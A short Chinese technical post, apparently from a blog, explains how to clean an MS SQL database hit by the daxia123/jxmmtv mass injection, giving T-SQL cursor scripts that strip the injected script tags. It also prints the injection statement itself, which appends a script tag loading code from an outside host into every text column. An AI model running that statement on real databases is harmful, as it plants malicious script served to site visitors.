数据库被注入daxia123或cn.jxmmtv.com原因及解决办法

--去掉<script src=http://cn.daxia123.cn/cn.js></script>
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE
(cast(['+@C+'] as varchar(8000)),''<script src=http://cn.daxia123.cn/cn.js></script>'','''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

--去掉<script src=http://cn.jxmmtv.com/cn.js></script>

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=REPLACE
(cast(['+@C+'] as varchar(8000)),''<script src=http://cn.jxmmtv.com/cn.js></script>'','''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

数据被修改可能所使用语句：　正式数据库勿用．切记　　^_^

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM
(CONVERT(VARCHAR(4000),['+@C+']))+'' <script
src=http://cn.daxia123.cn/cn.js> </script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor